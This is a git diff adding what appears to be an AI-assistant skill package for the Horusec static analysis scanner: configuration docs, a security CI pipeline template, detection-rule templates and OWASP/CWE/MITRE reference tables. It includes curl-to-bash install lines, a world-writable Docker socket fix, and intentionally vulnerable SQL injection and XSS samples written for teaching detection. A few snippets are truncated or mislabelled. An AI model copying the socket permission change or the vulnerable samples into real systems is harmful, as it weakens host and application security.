"horusecCliFilesOrPathsToIgnore": [ + "**/node_modules/**", + "**/vendor/**", + "**/*_test.go", + "**/test/**" + ], + "horusecCliHeaders": {}, + "horusecCliHorusecApiUri": "", + "horusecCliJsonOutputFilePath": "./horusec-report.json", + "horusecCliLogFilePath": "./horusec.log", + "horusecCliMonitorRetryInSeconds": 15, + "horusecCliPrintOutputType": "text", + "horusecCliProjectPath": ".", + "horusecCliRepositoryAuthorization": "", + "horusecCliRepositoryName": "", + "horusecCliReturnErrorIfFoundVulnerability": false, + "horusecCliRiskAcceptHashes": [], + "horusecCliTimeoutInSecondsAnalysis": 600, + "horusecCliTimeoutInSecondsRequest": 300, + "horusecCliToolsConfig": {}, + "horusecCliWorkDir": ".horusec" +} +``` + +## Output Formats + +Horusec supports multiple output formats for different use cases: + +- `text` - Human-readable console output (default) +- `json` - Structured JSON for CI/CD integration +- `sonarqube` - SonarQube-compatible format + +Specify with `-o` flag: +```bash +horusec start -p . -o json -O report.json +``` + +## Common Patterns + +### Pattern 1: Fail Build on High Severity + +Configure CI/CD to fail on critical findings: + +```bash +horusec start -p . \ + --return-error-if-found-vulnerability \ + --severity-threshold="MEDIUM" +``` + +Exit code will be non-zero if vulnerabilities at or above threshold are found. + +### Pattern 2: Multi-Project Monorepo Scanning + +Scan multiple projects in monorepo structure: + +```bash +# Scan specific subdirectories +for project in service1 service2 service3; do + horusec start -p ./$project -o json -O horusec-$project.json +done +``` + +### Pattern 3: Custom Rules Integration + +Add custom security rules: + +1. Create custom rules file (YAML format) +2. Configure path in `.horusec/config.json`: + ```json + { + "horusecCliCustomRulesPath": "./custom-rules.yaml" + } + ``` +3. Run scan with custom rules applied + +## Security Considerations + +- **Sensitive Data Handling**: Horusec scans for exposed secrets. Ensure scan results are stored securely and access is restricted to authorized personnel only +- **Access Control**: Limit access to Horusec configuration files and scan results. Use read-only mounts in Docker for source code scanning +- **Audit Logging**: Log all scan executions, findings, and risk acceptance decisions for compliance auditing +- **Compliance**: Integrates with SOC2, PCI-DSS, and GDPR compliance by identifying vulnerabilities and tracking remediation +- **Safe Defaults**: Configure severity thresholds appropriate for your risk tolerance. Start with MEDIUM or HIGH to reduce noise + +## Integration Points + +### CI/CD Integration + +**GitHub Actions:** +```yaml +- name: Run Horusec Security Scan + run: | + docker run -v /var/run/docker.sock:/var/run/docker.sock \ + -v $(pwd):/src horuszup/horusec-cli:latest \ + horusec start -p /src -o json -O horusec-report.json \ + --return-error-if-found-vulnerability +``` + +**GitLab CI:** +```yaml +horusec-scan: + image: horuszup/horusec-cli:latest + script: + - horusec start -p . -o json -O horusec-report.json + artifacts: + reports: + horusec: horusec-report.json +``` + +**Jenkins:** +```groovy +stage('Security Scan') { + steps { + sh 'docker run -v $(pwd):/src horuszup/horusec-cli:latest horusec start -p /src' + } +} +``` + +### VS Code Extension + +Horusec provides a VS Code extension for real-time security analysis during development. Install from VS Code marketplace. + +### Vulnerability Management + +Horusec can integrate with centralized vulnerability management platforms via: +- JSON output parsing +- Horusec Platform (separate web-based management tool) +- Custom integrations using API + +## Troubleshooting + +### Issue: Docker Socket Permission Denied + +**Solution**: Ensure Docker socket has proper permissions: +```bash +sudo chmod 666 /var/run/docker.sock +# Or run with sudo (not recommended for CI/CD) +``` + +### Issue: False Positives in Test Files + +**Solution**: Exclude test directories in configuration: +```json +{ + "horusecCliFilesOrPathsToIgnore": ["**/test/**", "**/*_test.go", "**/tests/**"] +} +``` + +### Issue: Scan Timeout on Large Repositories + +**Solution**: Increase timeout values in configuration: +```json +{ + "horusecCliTimeoutInSecondsAnalysis": 1200, + "horusecCliTimeoutInSecondsRequest": 600 +} +``` + +### Issue: Missing Vulnerabilities for Specific Language + +**Solution**: Verify language is supported and Docker images are available: +```bash +horusec version --check-for-updates +docker pull horuszup/horusec-cli:latest +``` + +## Advanced Usage + +### Running Without Docker + +Install Horusec CLI directly (requires all security tool dependencies): + +```bash +# macOS +brew install horusec + +# Linux +curl -fsSL https://raw.githubusercontent.com/ZupIT/horusec/main/deployments/scripts/install.sh | bash + +# Windows +# Download from GitHub releases +``` + +Then run: +```bash +horusec start -p . --disable-docker +``` + +**Note**: Running without Docker requires manual installation of all security analysis tools (Bandit, Brakeman, GoSec, etc.) + +### Severity Filtering + +Filter results by severity in output: + +```bash +# Only show HIGH and CRITICAL +horusec start -p . --severity-threshold="HIGH" + +# Show all findings +horusec start -p . --severity-threshold="INFO" +``` + +### Custom Docker Images + +Override default security tool images in configuration: + +```json +{ + "horusecCliCustomImages": { + "python": "my-registry/custom-bandit:latest", + "go": "my-registry/custom-gosec:latest" + } +} +``` + +## Report Analysis + +Parse JSON output for automated processing: + +```bash +# Extract high-severity findings +cat horusec-report.json | jq '.analysisVulnerabilities[] | select(.severity == "HIGH")' + +# Count vulnerabilities by language +cat horusec-report.json | jq '.analysisVulnerabilities | group_by(.language) | map({language: .[0].language, count: length})' + +# List unique CWE IDs +cat horusec-report.json | jq '[.analysisVulnerabilities[].securityTool] | unique' +``` + +## References + +- [Horusec GitHub Repository](https://github.com/ZupIT/horusec) +- [Horusec Documentation](https://docs.horusec.io/) +- [OWASP Top 10](https://owasp.org/Top10/) +- [CWE - Common Weakness Enumeration](https://cwe.mitre.org/) diff --git a/skills/secsdlc/sast-horusec/assets/.gitkeep b/skills/secsdlc/sast-horusec/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/secsdlc/sast-horusec/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/secsdlc/sast-horusec/assets/ci-config-template.yml b/skills/secsdlc/sast-horusec/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/secsdlc/sast-horusec/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/secsdlc/sast-horusec/assets/rule-template.yaml b/skills/secsdlc/sast-horusec/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/secsdlc/sast-horusec/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/secsdlc/sast-horusec/references/EXAMPLE.md b/skills/secsdlc/sast-horusec/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/secsdlc/sast-horusec/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism 